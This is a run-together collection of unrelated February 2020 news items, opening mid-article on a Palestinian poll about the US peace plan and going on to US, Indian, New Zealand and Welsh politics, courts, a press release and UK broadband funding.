the respondents said they were not satisfied with the response of the Palestinian leadership to the US deal. Of note, Abbas has yet to use security coordination as a trump card against Israel even though he can, which fuels Palestinians' anger against him. While 78% of respondents expressed their support for peaceful and popular demonstrations to oppose the deal of the century, 77% supported the cessation of security coordination with Israel, and 69% called for stopping the application of the Oslo agreement. Also, 64% called for resorting to armed action and return to an armed intifada, while 73% believed the PA will prevent armed action. This is what Abbas confirmed in his speech to the Arab League Feb. 1 in Cairo. Ghassan Khatib, a former Palestinian minister of planning and head of the Jerusalem Media and Communication Center, said the poll confirms Palestinians agree with Abbas on rejecting the deal but lack confidence in his ability to implement his threats. He argued to Al-Monitor that Palestinians are aware of Abbas modest capabilities to confront Israel and the United States. There is a consensus between the public and the leadership on rejecting the deal, but responses varied when it comes to the capacity of this leadership to confront and thwart it, he added. I am not sure about the support for armed action. This could be linked to a temporary emotional impulse. This could subside with time, and respondents would return to preferring the peaceful popular resistance over armed struggle. The poll showed that 62% of the public want President Abbas to resign. Demand for Abbas resignation stands at 52% in the West Bank and 78% in the Gaza Strip. It revealed that the level of satisfaction with the performance of President Abbas stands at 37% and dissatisfaction at 60%. What is more concerning is that only "33% think President Abbas is the best Fatah candidate for the presidency, while 43% think Fatah has better candidates. The poll showed that if new presidential elections were held today and only two were nominated, Mahmoud Abbas and Ismail Haniyeh, the former would receive 44% and the latter 49% of the vote (compared to 49% for Abbas and 44% for Haniyeh two months ago). Wissam Afifa, director of Hamas' Al-Aqsa TV, commented to Al-Monitor on the results of the poll: These findings encourage Hamas to step up and lead the Palestinian political scene to fill the void resulting from the declining role of the PA. Therefore, in light of the results of the poll, Hamas appears more willing to expand its internal and external alliances. He continued, The results of the poll confirm the credibility of Hamas political and military orientations of igniting an armed uprising in the West Bank and opening a confrontation front with Israel in it. But Hamas is convinced that this front will only blow up in Israels face if Fatah gets involved. This confirms Hamas keen desire to run in the legislative and presidential elections. The movement is sure it will score a win in the upcoming elections. Moreover, the results of the poll confirmed that the Palestinians are on the verge of major political change. The poll highlighted a discontent toward the PA's performance, demands for Abbas resignation, lack of confidence in his policies and increased support for armed resistance, which could open up the Palestinian arena to unexpected developments. For Jehad Harb, a politics and governance affairs researcher, the recent poll results indicate the rise of Palestinian support for armed struggle against Israel, although not by a broad majority. He explained to Al-Monitor that the results open Hamas appetite for more armed attacks, despite the ensuing large cost. Hamas needs to prepare the Palestinian public opinion on the use of arms, which are not available in the West Bank. Popular resistance is gaining more popularity among the Palestinians, even if such resistance is not yet manifested on the ground, Harb said, asserting that the PA leadership does not encourage popular "[armed] resistance. It is clear that the results of the poll show a general Palestinian public understanding that the PA is battling serious confusion and is unable to make the right decision. Of note, the PA does not seem to take such polls into account when making its decisions and setting its policies, as such polls may be deemed fabricated and politically oriented. At best, it does not see them as necessary, because it manages its policies according to the individual orientations of its president and his entourage, without taking into account Palestinian public opinion trends. This further widens the gap between the PA and the Palestinian public. H.E. Ambassador Hu Zhangliang Holds Press Conference on the Prevention and Control of the COVID-19 Outbreak 2020/02/21 On February 20, 2019, Chinese Ambassador to Sierra Leone, H.E. Mr. Hu Zhangliang held a press conference to update on the latest development of the COVID-19 outbreak and the measures China has taken to prevent and control the epidemic. Nearly 30 journalists from the fourth estate attended the conference. Showing solidarity, the representative from the Ministry of Foreign Affairs and International Cooperation, Deputy Director General Mr. Duwai Lungay also joined the Ambassador at the conference. The conference commenced by observing a moment of silence for the precious lives lost in the epidemic. In his statement, Ambassador Hu stressed that putting peoples lives and health as the top priority, H.E. President Xi Jinping personally instructed and directed the epidemic response. Under President Xi's strong leadership, the Chinese government and people are united as one in fighting the outbreak, and positive results have been accomplished. Currently, the number of newly confirmed cases keeps declining, and the situation in Hubei and Wuhan is being put under more effective containment. He said that WHO highly recognized China's robust and effective measures to contain the outbreak at its source, contributing immensely to global joint efforts in curbing the scourge. On behalf of Sierra Leone Foreign Ministry, Mr. Lungay conveyed sympathy and solidarity message to the government and people of China. He commended the remarkable efforts the resilient Chinese people have taken and said that he wished the virus would soon be put under full control. Ambassador Hu answered questions from the media on issues of public concern. He said that China-Sierra Leone cooperation including the government scholarship program will not be affected much by the epidemic. The media expressed their firm belief that Chinese people will defeat the epidemic at an early date. They also voiced their solidarity by holding the placards that read "Cheer up, China"() Stay Strong, Wuhan(). A former Pentagon counterterrorism analyst pleaded guilty on Thursday to sharing classified information with two journalists, one of whom was his girlfriend. The former analyst, Henry Kyle Frese, 31, pleaded guilty in the United States District Court in eastern Virginia to willful transmission of top secret national defense information. He faces up to 10 years in prison when sentenced on June 18. The conviction of Mr. Frese, who was arrested last October at his office at the Defense Intelligence Agency, represented a victory in the Justice Departments aggressive campaign to crack down on illegal leaks of government information. The case was prosecuted with a wiretap of Mr. Freses phone, perhaps the most intrusive tool in criminal investigators arsenal. A day after Ram Mandir trust members met with PM Modi, Shiv Sena on Friday has hit out at the BJP through its mouthpiece Saamana saying that as the mandir is projected to be completed by 2024, BJP will benefit from it. Pointing out that 'Surgical strikes' and 'Pakistan' will not be a good poll campaign, Sena alleged that BJP will use Ram Mandir as for votes in the 2024 Lok Sabha polls. Listing the various members of the trust, Shiv Sena alleged that all the chosen members including Mahant Nritya Gopal Das, Champat Rai and Nripendra Misra were all close to PM Modi or some RSS-affiliated organisation. Ram Mandir trust to meet PM Modi; will invite him to lay foundation stone in Ayodhya Sena alleges 'Ram mandir in 2024 is for BJP's benefit' Acknowledging that the Vishwa Hindu Parishad spearheaded the Ram Janmabhoomi movement, Saamana highlighted that several Hindutva outfits like Shiv Sena, Bajarang Dal were involved in it. Touting its role in the demolition of the Babri masjid in 1992, Saamana claimed that seeing the blood of karsevaks flow in the Sarayu had angered Shiv Sainiks. Adding that Shiv Sena never took political benefits of its role in the Babri demolition, the mouthpiece alleged that PM Modi had announced the formation of the trust prior to Delhi polls, but failed to garner votes on it. BIG: Maharashtra CM Uddhav Thackeray to meet PM Narendra Modi in Delhi on Feb 21 Thackeray to meet PM Modi, Sonia Gandhi This sharp attack by the Sena comes on the day Sena Supremo Uddhav Thackeray has scheduled a courtesy meet with PM Modi in New Delhi. He is also scheduled to meet Congress interim-chief, Sonia Gandhi. This the first time Uddhav Thackeray will visit the national capital after assuming office as Maharshtra CM. Moreover, the Ram Janmabhoomi Teerth Kshetra Trust's members met with PM Modi and invited him to lay the foundation stone in Ayodhya at the Bhoomipoojan which will reportedly be held on April 2 (Ram Navami) or April 26 (Akshaya Tritiya). PM Modi shows intent; Ex-Principal Secy Nripendra Misra to oversee Ram Mandir construction Mandir trust elects chairman, gen secy In the first meeting of the Shri Ram Janmabhoomi Teertha Kshetra' trust on Wednesday, Mahant Nritya Gopal Das and Champat Rai were elected as the president and general secretary respectively. Moreover, Prime Minister Narendra Modis former Principal Secretary Nripendra Misra was selected to head the Ram temple construction committee. As Misra was considered as the PMs most trusted lieutenant, this move is being perceived as the PMs attempt to personally ensure that the construction of the Ram temple goes smoothly. READ: 'No such compulsion': Maha CM Uddhav on not paying visit to PM Modi, Sonia Gandhi in Delhi Former Rep. Claudia Tenney won the designation Friday of the Oneida County Republican Committee, a key endorsement from the largest county in the 22nd Congressional District. Tenney, of New Hartford, now has the backing of half of the Republican county committees in the district as she seeks to avoid a June primary election with two GOP rivals. Tenney previously won the GOP designation in Oswego, Madison and Herkimer counties. Republicans in the districts remaining four counties Broome, Cortland, Chenango and Tioga have not endorsed a candidate. Oneida County Republican Committee Chairman Pete Sobel explained why its members endorsed Tenney over two other Republican candidates, George Phillips and Franklin Sager, both of Broome County. Claudia has a strong track record of delivering results for our district, and she is the only candidate who can beat Anthony Brindisi this fall, Sobel said in a statement. We need to stand united as a party if we are going to be successful in November. Tenney is trying to reclaim the congressional seat she held for one term before losing in the 2018 election by about 1 percentage point to Brindisi, D-Utica. The Oneida County designation comes only a week after President Donald Trump endorsed Tenney. Claudia Tenney is a fantastic candidate running in New York, where she was a Great member of Congress, Trump tweeted. She is Strong on Crime, Borders, Cutting Taxes, your #2A, and she Loves our Military and Vets. Claudia has my Complete and Total Endorsement! Phillips, an educator and former aide in Congress, and Sager, a teacher from Port Crane, both said they plan to challenge Tenney in a Republican primary election on June 23. Read more President Trump endorses Claudia Tenney over 2 GOP opponents Claudia Tenney tops GOP rivals for Congress, raises $300K for primary election Rep. Anthony Brindisi starts 2020 with $1.8 million in campaign cash Brindisi launches early TV ads for his 2020 campaign Contact Mark Weiner: Email | Twitter | Facebook | 571-970-3751 Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. Plant variety rights cases are as rare as hens teeth. In the 45 years that the New Zealand PVR Act has been in place, there have only been two infringement cases the second one, , Civ-2017-436-00094 [2020] NZHC 109, issued this month. The result was an overwhelming victory for the plaintiff.New Zealand kiwifruit is exported solely by Zespri Group Limited, which has a statutory monopsony to purchase all kiwifruit from licensed growers and maintain markets around the world both through sales of its variety from New Zealand and from licensing its varieties to growers in other countries in the counter seasons. New Zealand can lay claim to having domesticated kiwifruit from the Chinese gooseberry.The original green kiwifruit, the Hayward variety, here , still makes up the majority of kiwifruit grown in New Zealand and elsewhere. Perhaps fittingly, the largest grower country of kiwifruit is now China.Shortly after introducing a new gold kiwifruit variety (Hort 16A), a bacterial infection (psa) devastated the entire New Zealand gold kiwifruit crop in the early 2000's. Fortunately, Zespri had a new gold variety that was resistant to psa in the breeding pipeline and it was thus able to convert its growers to this new variety without much disruption to the industry.Unfortunately for Zespri, one of its licensed growers went rogue. He smuggled cuttings of the new gold variety from his own orchard to growers in China. He also granted a (false) exclusive licence to one of those growers to propagate it throughout China. Inevitably, Zespri got wind of this and gathered evidence that resulted in the high court case.The defendant ran the defence that exporting reproductive material of a New Zealand PVR protected variety is not an infringement under the New Zealand 1987 PVR Act. Rather, any damage to Zespri was as a result of propagation of the variety in China. The Act does not codify what constitutes infringement, only what are the exclusive rights of a grantee.However in a 2005 case CA226/04, being- the only other PVR case in New Zealand), the court of appeal held that a defendants conduct had diminished the PVR owners enjoyment of its exclusive right. In thecase, the defendant had procured the unauthorised growing of a protected barley variety so that the defendant could purchase the resultant barley crop for sale to a malting company in China.In the present case, the judge applied theprinciple in finding that the defendants conduct had diminished Zespris enjoyment of its exclusive rights in the gold kiwifruit varieties. She accepted evidence from Zespris witnesses that the defendants conduct harmed Zespris plans for building a sustainable production base for production in China and diminished its brand because inferior fruit marketed as G3 (Zespri) product tarnished G3s high quality reputation and might affect future price expectations.The defence also argued that no losses flowed from the defendants actions in New Zealand. Rather they were a result of infringement in China. The judge dismissed this argument for the same reasons that she had held that the conduct of the defendant was an infringement.The judge also found the defendant to be in breach of his orchard licence agreement. She focused on a clause requiring licensees to report any infringements that they became aware of and assist Zespri in dealing with them. Clearly, the defendant had not turned himself in.Quantifying the damages was a bit trickier. The judgement began by finding that the court should apply section 17(4)(a) of the Act and take into account any loss likely to be suffered by the PVR owner. The judge also found that the infringement was flagrant, raising the potential damages.The judge then observed that it was not possible to quantify the damage to Zespri on a traditional basis, so she applied the user principle that was used in thecopyright case . The calculation was made by multiplying the area of infringing orchards identified in China by the 2016 market value per hectare in New Zealand for G3 licences. This was reduced by 50% because only a portion of orchards in China were planted with G3 kiwifruit.The judge noted that Zespri might be expected to also take action in China. (Since the largest infringing orchard is in Wuhan, the home of the Covid 19 virus, this is unlikely to happen any time soon.) The decision leaves this reader with a sense of unease. The judge seemed determined to apply a diminishing of enjoyment of an exclusive right principle in finding infringement, even though she had also found that the defendant had made an offer of sale of G3 vines from New Zealand, being an express breach of a PVR grantees right. Further, although she noted that the licence agreement prohibited the defendant from selling, disposing of, exporting or otherwise providing G3 plant material to anyone other than Zespri, she focused on the failure to report his own infringement. It looks like the right result, but for many wrong reasons.New Zealand is committed to having a new Plant Variety Rights Act in place by the end of 2021. Under the new law, exporting of kiwifruit vines would be an express act of infringement. Whether that spells an end to the (open ended) diminishing of enjoyment principle remains to be seen.Picture on right by J.smith and is licensed under the Creative Commonss Atribution-Share alike 3.0 Unported license.Picture on left by BowhaZ and is licensed under the Free Art License. BUFFALO, N.Y., Feb. 21, 2020 /PRNewswire/ -- Circuit Clinical, a recent winner of the 43North Finals, is thrilled to announce TrialScout's #FindtheFive outreach campaign was recognized at the Summit for Clinical Operations Executives (SCOPE) in Orlando, Florida. Irfan Khan, MD, Founder and CEO of Circuit Clinical and TrialScout, is awarded the 2020 Participant Engagement Award at the Summit for Clinical Operations Executives alongside members of the Circuit Clinical team, industry partners, award co-creators and judges. Circuit Clinical Logo (PRNewsfoto/Circuit Clinical) On Tuesday evening, TrialScout's #FindtheFive campaign was named the winner of the prestigious Participant Engagement Award by a panel of industry-acclaimed judges and an audience of clinical operations executives. The award, co-created by Kelly McKee and David Sall and honoring Jerry Matczak, recognizes the efforts of TrialScout's #FindtheFive outreach campaign to engage the FIVE MILLION Americans who have been in clinical trials in the past decade and could help the next person choose clinical research as a care option. "It's overdue that we ask clinical trials participants to rate their experience," observed Judge Angela Radcliffe. "This is why TrialScout's #FindtheFive was both a judge and audience favorite! If each of the 5 million inspire just one more person, the impact would be significant!" "The Participant Engagement Award celebrates innovative approaches to true patient engagement," noted Judge David Sall. "TrialScout's presentation around #FindtheFive truly embodies the spirit of this award by engaging study participants and allowing them to share their voice and experience." Designed to inspire innovation and change in how the industry communicates with participants in the fields of recruitment and retention in clinical trials, this award embodies the values and personal accomplishments of Jerry Matczak, who sadly passed away soon after receiving the 2017 award. "It felt surreal to see a year's worth of work by our amazing team recognized by our incredibly talented peers," said Dr. Irfan Khan, Founder and CEO of Circuit Clinical and TrialScout. "This is a huge step forward for amplifying the patient voice as a part of the discovery of new medicines. Many thanks to our partners IACT Health, LMC Manna Research, all of hyperCORE International, and Meridian Clinical Research - innovation NEEDS visionary adopters and we are in great company!" The #FindtheFive campaign centers around the more than five million Americans who have participated in clinical research in the last decade and close to one million participants actively enrolled in clinical trials today. People considering clinical trials today lack the transparent, meaningful decision support they can find in everyday decision-making like choosing a restaurant, purchasing a product, or finding a new doctor. TrialScout and the work of the #FindtheFive campaign will close this gap through increasing engagement and awareness of the patient experience. Have you or a loved one been in a clinical trial? Please consider joining the voices of the #FindtheFive community and telling your story. Rate your experience to help someone just like you: http://info.trialscout.com/find-the-five. About SCOPE 2020 Celebrating its 11th successful year, SCOPE Summit 2020 takes place February 18-21 in Orlando, FL. Programming focuses on advances and innovative solutions in all aspects of clinical trial planning, management and operations. SCOPE attracted more than 2,200 leaders in clinical operations and research in 2020 from 26 countries. For more information: https://www.scopesummit.com/about. About TrialScout Inspired by Circuit Clinical's experience operating highly efficient clinical research sites, TrialScout is the first-ever ratings and reviews platform for clinical trials. Globally accessible, the TrialScout website is used to find actively enrolling clinical trials and research centers nearby, access peer-to-peer decision support, and share experiences in the form of ratings and reviews of clinical research centers. TrialScout measures and improves participant awareness, engagement, and retention in clinical research. Built by experts in healthcare, clinical research, and online patient engagement, TrialScout is the innovation the millions of people participating in clinical research have been waiting for. For more information: www.TrialScout.com. Contact: [email protected] About Circuit Clinical Circuit Clinical, one of the fastest-growing Integrated Research Organizations in the US, is dedicated to transforming the experience of finding and participating in clinical trials. Circuit Clinical provides turn-key, technology-enabled clinical services support to enable more physicians to conduct clinical research. Our unique delivery model combines clinical trial operational expertise, regulatory & compliance, multi-threaded participant recruitment, and participant experience technology. This innovative solution allows Circuit Clinical to stand-up successful clinical research sites in atypical settings, all while providing data-driven insights and a superior experience for participants. For more information: www.circuitclinical.com. Contact: [email protected] SOURCE TrialScout Carmen Barahona, 69, appearing in court in 2011. She pleaded guilty to her adoptive daughter's murder on Friday in a plea deal A Florida woman pleaded guilty Friday in the torture death of her adopted 10-year-old daughter nine years ago in a deal handing her a life prison sentence in exchange for testimony against her husband. Carmen Barahona, 69, pleaded guilty to first-degree murder and aggravated child abuse charges in the death of Nubia Barahona. The girl's body was found on February 14, 2011, soaked with chemicals and decomposing in the back of her father's pesticide truck along Interstate 95 in Palm Beach County. The father, Jorge Barahona, 62, faces the death penalty if convicted in the girl's death. Her twin brother, Victor, was also doused with chemicals but recovered and later told investigators about severe abuse in their Miami-area home. Miami-Dade State Attorney Katherine Fernandez Rundle said in a statement Friday that sentencing for Carmen Barahona will be deferred until she testifies against her husband as the agreement requires. 'By allowing her to enter her guilty plea today and assist in the prosecution of her husband, we are one step closer to helping the surviving child victim in this case see justice prevail for him and his deceased twin sister, Nubia,' Rundle said. 'If she fails in this requirement, she will be facing a sentencing hearing before a jury.' The trial of Jorge Barahona is currently scheduled to begin in April. He has pleaded not guilty. SCROLL DOWN FOR VIDEO Nubia Barahona, 10, died after her adopted parents allegedly tortured her and her twin brother Jorge Barahona looks at his attorneys Mattie Fore and James Snowden during his hearing before Circuit Judge Sandra McSorely in September 2014. He faces the death penalty The case roiled the Florida Department of Children & Families because, despite numerous complaints about abuse of the twins, little was ever done. Police found Nubia's badly burned body wrapped in a plastic bag in the back of a truck just off the I-95 highway in West Palm Beach on February 14, 2011. Her brother Victor was in the front next to his adoptive father, who was passed out. Victor had broken bones and was badly burned after being doused in acid. An autopsy later showed that Nubia had been punched to death and both had been covered in toxic chemicals. The couple are also accused of tying up and imprisoning the twins in a darkened bathroom bath for days on end. Prosecutors say they used to beat them, put them in garbage cans, starve them and torture them with weapons including a shoe, a broom and a whip. On at least one occasion they allegedly placed a bag over Victor's head until he blacked out. Victor also claimed that Jorge glued his eyes shut on a separate occasion. Nubia was adopted by Carmen and Jorge Barahona in 2004 despite her teachers previously having calling a child abuse hotline three times to voice concern about her welfare Jorge Barahona truck sits alongside I-95 as authorities continued to investigate the scene where he was found with his acid-splashed adopted son Victor in the front seat and the acid-soaked corpse of his adopted daughter Nubia in the truck bed on February 14, 2011 Carmen Barahona made a plea deal on Friday to testify against her husband in exchange for a life sentence for the starvation, torture and murder of her adopted daughter Nubia in 2011 At trial in 2011, prosecutors said: 'On February 11, 2001, in the presence of Victor, Jorge Barahona removed Nubia from the bathtub while her hands were still bound and took her to the bedroom. 'Co-defendant Jorge Barahona repeatedly punched and beat Nubia about her body while she screamed and cried until she was dead.' When the couple was first charged with first-degree murder, child neglect, aggravated child abuse and torture in March 2011, they both pleaded not guilty. The father has claimed that his daughter's death was due to her failure to take her medication and that he was passed out in the van because he doused himself with gasoline in a failed suicide attempt which must have also sprayed his son. Police established that it was acid not gasoline that caused Victor's burns. Jorge Barahona was placed in a suicide jacket during some court appearances. Carmen will testify against her husband Jorge Barahona, pictured here in 2011, who faces the death penalty if he is found guilty of their daughter's murder by beating her to death The case put a spotlight on Florida's Department of Children and Families, whose social workers failed to act despite repeated warnings and concerns from worried teachers and relatives about the twins' welfare. The Barahonas first fostered the twins in 2004 after they were removed from their biological parents. Their mother was a drug addict and alcoholic, and their father had been accused of sexually abusing another child. In 2009, the courts allowed the Barahonas to adopt the children, even though they had an aunt and uncle in Texas who were keen to raise Nubia and Victor themselves. Between 2006 and 2010, employees at the twins' school Blue Lakes Elementary had also called the Florida child-abuse hotline to file their concerns about Nubia and her welfare at home. None of these complaints were provided to the psychologist who decided that the couple were fit to adopt the twins. The couple had also adopted two other younger children before Nubia's death. After the alleged abuse was uncovered, one social worker, Andrea Fleary, was fired because she received warnings the children could be in danger four days before Nubia was found - but did nothing because she didn't work at weekends. Fleary was already on notice for poor performance, and was criticized by an independent investigation panel for having failed to assess the children's welfare. Months after the killing, DCF announced it would spend more money to recruit and train investigators, reduce caseloads for child investigators and provide more staffing and resources to a child abuse hotline. Eventually, the state paid Victor Barahona and his younger brother and sister a $5 million settlement for enduring the horrors in their adoptive family home. The settlement was finally made in full in 2017 when Victor was 16. 'They are scarred for life, but they will have the financial resources they need,' said Neal Roth, a Coral Gables attorney who represented the children. 'It means that their futures are financially secured.' North Wales council leaders in historic meeting with the Welsh Government Cabinet This article is old - Published: Friday, Feb 21st, 2020 The six council leader in across the region have met with the Welsh Government Cabinet Committee on North Wales. The meeting was held at the Welsh Governments office in Llandudno Junction and attended by the First Minister, Mark Drakeford AM, Vaughan Gething AM, (Minister for Health and Social Services), Lesley Griffiths AM (Minister for Energy, Environment and Rural Affairs) and Hannah Blythyn AM (Deputy Minister for Housing and Local Government). Representatives of other Ministers joined the meeting by video conference from Cardiff. Councillor Mark Pritchard, leader of Wrexham Council and chair of the North Wales Regional Leadership Board said: This meeting of council leaders and the Welsh Cabinet, brokered by the Minister for North Wales, Ken Skates AM, is the first of its kind in Wales. We made a little bit of Welsh History through this assembly of people. The meeting was the result of ongoing and positive engagement with Ken Skates as Minister for North Wales. We hope that we continue to meet with the Cabinet Committee and develop a shared purpose for the good of the communities of North Wales. We had an open, frank and wide-ranging discussion about key, strategic opportunities, challenges and increased funding for North Wales. The main topic of discussion was the economy and transport with the goal of enabling closer working between the Welsh Government, the North Wales Economic Ambition Board and Local Authorities. We also discussed Health, Local Government Finance and the proposed National Development Framework. Ken Skates AM, minister for North Wales, said: It is vital that the Welsh Government and local authorities in North Wales, along with our wider regional partners, work together closely to improve the economy and well-being in the region. We face many challenges following ten years of austerity imposed by the UK Government, but there is also a lot to be positive about with the progression of the North Wales Growth Deal and exciting projects across North Wales, such as the AMRC in Broughton and M-SParc in Gaerwen. We can achieve a lot by working together. We have much to do including facing the challenge of decarbonising the economy and transport, and addressing the challenges facing many of our rural and urban communities. Im pleased to have held this constructive Cabinet Committee meeting with the local authority leaders which shows our commitment as a Government to North Wales. The First Minister, Mark Drakeford told the Council Leaders that the Cabinet has confidence in the ability of the Councils in North Wales to work together with regional partners and with the Welsh Government. He thanked leaders for their balanced discussion and practical suggestions and asked them to pass on his thanks to staff in Councils and Betsi Cadwaladr University Health Board who have worked so hard in the challenging winter months to care for people going into hospital and social care. The Cabinet truly appreciates their hard work. By IANS BENGALURU: Father of Bengaluru girl Amulya, who has been arrested on sedition charges, on Friday condemned his daughter for shouting pro Pakistan slogan at an anti-CAA rally on Thursday here. "I condemn Amulya for shouting pro-Pakistan slogan at the rally and disown her views on CAA, NRC or NPR. I was not aware about her act till a friend called and told me about it last (Friday) night," Oswald Naronha told a local news channel from his home at Koppa in Karnataka's Chikkamagaluru district. Koppa is about 320km west of Bengaluru in the southern state. Earlier in the day, Amulya was sent to 14-day judicial custody after police arrested and produced her before a local magistrate in a sedition case filed suo motu against her. #WATCH Ruckus erupts at the protest rally against CAA&NRC in Bengaluru where AIMIM Chief Asaddudin Owaisi is present. A woman named Amulya at the protest rally says "The difference between Pakistan zinadabad and Hindustan zindabad is...". pic.twitter.com/FPh5Ccu3HD ANI (@ANI) February 20, 2020 "I also advised her not to criticise Prime Minister Narendra Modi and Union Home Minister Amit Shah for enacting the CAA. She does not listen to us. She has gone out of our control. I am sad and unhappy that she got into trouble for her views," Naronha lamented. Meanwhile, Naronha filed a complaint in a local police station at Koppa against some unidentified BJP activists for allegedly attacking his house in Koppa for Amulya's pro-Pakistan slogans. ALSO READ: "We are for India," Owaisi denounces woman who raised pro-Pakistan slogans in Bengaluru rally "The activists vandalised our house by smashing window glass panes, flower pots and damaging other household things," Naronha said in the complaint. The 19-year-old is a second year student in a degree college pursuing BA in literature, sociology, psychology and journalism. Students nationwide raised concerns about universities using biometric surveillance, or facial recognition, on students. Campus Reform reported last month that at least three California campuses had implemented the software. At the time, the University of San Francisco, the University of Southern California, and Stanford University were confirmed to have systems in place. Now, after concerns both nationwide and directly from its own campus, the University of California-Los Angeles has publicly stated that it will not move forward with plans to use such technology and has promised to ban the use of any such technology on campus. "UCLA will not pursue the use of this technology. We have determined that the potential benefits are limited and vastly outweighed by the concerns of our campus community, said UCLA administrative vice-chancellor Michael Beck, according to CNET. This type of invasive technology poses a profound threat to our basic liberties, civil rights, and academic freedom. Schools that are already using this technology are conducting unethical experiments on their students. Students and staff have a right to know if their administrations are planning to implement biometric surveillance on campus," said Deputy Director of Fight for the Future Evan Greer. Fight for the future is a nonprofit group that advocates for digital rights and is part of the nationwide Ban Facial Recognition campaign against the use of this technology by universities. UCLA's decision comes as other colleges around the country have implemented technologies used to track students' physical location for the purpose of recording class attendance. The University of Missouri, Syracuse University, Auburn, Central Florida, Indiana have all begun using a smartphone app called SpotterEDU, which the company says is currently being used at 40 schools across the country. New York Campus Correspondent Justine Murray asked students at Syracuse University what they think about their locations being tracked. WATCH: WASHINGTON - Democratic voters feel generally positive about all of their top candidates running for president, but they have only moderate confidence that their partys nomination process is fair, according to a new poll by The Associated Press-NORC Center for Public Affairs Research. U.S. voters from across the political spectrum have mixed confidence in the fairness of either partys system for picking a candidate, but Democrats are especially likely to have doubts about their own partys process. Among Democratic voters, 41% say they have a great deal or quite a bit of confidence in the Democratic Partys nomination process, while 34% have moderate confidence and 25% have little to no confidence. Among Republicans, meanwhile, 61% say they have high confidence in their partys process, and just 13% have low confidence. President Donald Trump has only nominal opposition in the GOP nomination process, and several state Republican parties have even cancelled holding a primary. For Democrats, the results reveal early signs of fallout from whats shaping into a contentious and divisive primary, and sharpen focus on the prospect that the nominee may be chosen in a messy vote at a brokered convention. The anxieties have been exacerbated by a breakdown in the vote count in the kickoff Iowa caucus, an outcome Nevada officials are working to avoid in their caucus Saturday. Julianne Morgan, 29, of Dayton, Ohio, said her confidence in the Democratic Partys process was undercut earlier this month when Democrats delayed tabulating the results of the first-in-the-nation Iowa caucuses because of problems with a buggy mobile app. Her concerns were further exacerbated this week after reading that Sen. Elizabeth Warren, a Massachusetts Democrat who is third in the delegate count, was excluded in hypothetical head-to-head matchups against Trump in some recent polls. It doesnt sound like theres been fair representation for all the candidates, said Morgan, who is supporting Warrens candidacy. The poll builds on AP VoteCasts earlier findings of distrust in the system among Democrats who voted in last weeks New Hampshire primary. Some respondents said they worry that an increasingly bitter internal battle for the Democratic nomination could weaken whomever emerges to take on Trump in November. The poll was conducted before White House hopefuls on Wednesday took part in the most contentious debate of the cycle. Democrats are set to host their third 2020 nominating contest on Saturday in Nevada. They keep digging at each other, said Roger Kempton, 85, of Niles, Michigan, a Trump voter in 2016 who said he plans to vote for a Democratic candidate in 2020. They say beating Trump is the most important thing, but they keeping fighting each other. Its only making people like myself unhappy with the choices. Others raised concerns that the Democrats have hung on too long to the tradition of giving Iowa the first spot on the nominating calendar. Since 1972, the top voter-getter in the Democratic caucuses has gone on to win the nomination in seven of 10 contested races. But only Jimmy Carter in 1976 and Barack Obama in 2008 won the presidency. Iowa is not a very diverse state, and I feel like it doesnt really represent the country well, said Katie Lewis of Lexington, Kentucky, who backs Vermont Sen. Bernie Sanders. Among Democratic respondents, self-described moderates and conservatives are more likely than liberals to have high confidence that their process is fair, 46% to 34%. Those age 45 and older are also more confident than those who are younger, and nonwhite Democrats are more confident than white Democrats. The poll shows that Sanders gets slightly higher ratings nationally from Democratic voters compared to his nearest primary rivals, some of whom remain less well known even within the party. Seventy-four per cent of Democratic voters say they have a favourable opinion of Sanders, while 67% say that of former Vice-President Joe Biden, 64% for Warren, and 58% for former South Bend, Indiana Mayor Pete Buttigieg. About half of Democrats express favourable opinions of billionaire Mike Bloomberg and Minnesota Sen. Amy Klobuchar, while nearly 4 in 10 say they have a positive opinion of billionaire Tom Steyer. Many Democratic voters say they dont know enough to have an opinion of many of the candidates, including Steyer (52%), Klobuchar (39%), Buttigieg (28%), Bloomberg (25%) and Warren (16%). But about 2 in 10 Democrats express negative opinions of Biden, Bloomberg, Warren and Sanders. The more moderate Democrats Biden, Bloomberg, Buttigieg and Klobuchar have all raised questions about whether Sanders, 78, a self-described democratic socialist, is too far to the left of the American electorate. Both Sanders and Warren who support heftier taxes on the wealthy to pay for expanded health care, free college, and other programs have been branded by rivals as too liberal. Biden had poor showings in Iowa and New Hampshire and has faced questions about whether his best days as a politician are in the past. Bloomberg, the former New York City mayor and billionaire founder of a financial, software, data, and media company, didnt enter the race until November. Some of his Democratic rivals, as well as Trump, have accused Bloomberg of trying to buy the nomination by pumping in hundreds of millions of dollars of his own fortune to fund campaign ads in the more than a dozen Super Tuesday states and U.S. territories. Those March 3 contests account for more than a third of all delegates at stake. Bloomberg has also faced criticism for disparaging comments about transgender people, his support of stop-and-frisk, a controversial policing strategy that led to disproportionate stops of African Americans and Latinos in the nations biggest city, and complaints that he repeatedly made misogynistic comments to women who worked for him the 1980s and 1990s. Wanda Gibson, 58, a Democrat from suburban Cincinnati, Ohio, who is undecided about who shell support, said that Bloombergs backing of stop-and-frisk and his sexist comments were wrong. But she also said that she worried that some Democrats are discounting the possibility that Bloomberg has changed. Weve all done or said something in our past that would not necessarily be politically correct, said Gibson, who said she is still weighing which Democrat shell back. The problem is that we have Donald Trump, someone who continues to do this stuff daily, sometimes hourly. If someone did something 10 years ago, they can evolve. ___ The AP-NORC poll of 1,074 adults was conducted Feb. 13-16 using a sample drawn from NORCs probability-based AmeriSpeak Panel, which is designed to be representative of the U.S. population. The margin of sampling error for all respondents is plus or minus 4.2 percentage points. ___ Online: AP-NORC Center: http://www.apnorc.org/ Friday, February 21st, 2020 (9:22 am) - Score 1,153 The Hampshire County Council (HCC) in England appears to have proposed a new scheme, which will help to improve broadband connectivity in the hardest to reach rural areas by committing 1m to top up funding under the Governments rural voucher scheme (c.2-3% of premises are still without superfast speeds of 24Mbps+). At present the Governments 200m Rural Gigabit Connectivity (RGC) programme can, among other things, provide vouchers worth up to 3,500 for small businesses and up to 1,500 for residents to help those in poorly connected areas to access an ultrafast or gigabit-capable broadband ISP connection. However a recent council meeting suggests that local homes in Hampshire may soon see the value of such vouchers effectively double via a 1,500 top up per property (i.e. a total of up to 3,000 per home). In theory the level of funding available could help 700 additional homes to access ultrafast broadband than might have otherwise been possible. Rural Broadband (Council Document) The County Council has been an active supporter of the roll out of broadband across the County and has approved significant funding to support the overall roll out programme. As the main programme starts to wind down focus has turned to providing broadband in the more rural and harder to reach communities. The Government is operating a voucher scheme that provides residents with up to 1,500 towards the cost of installing 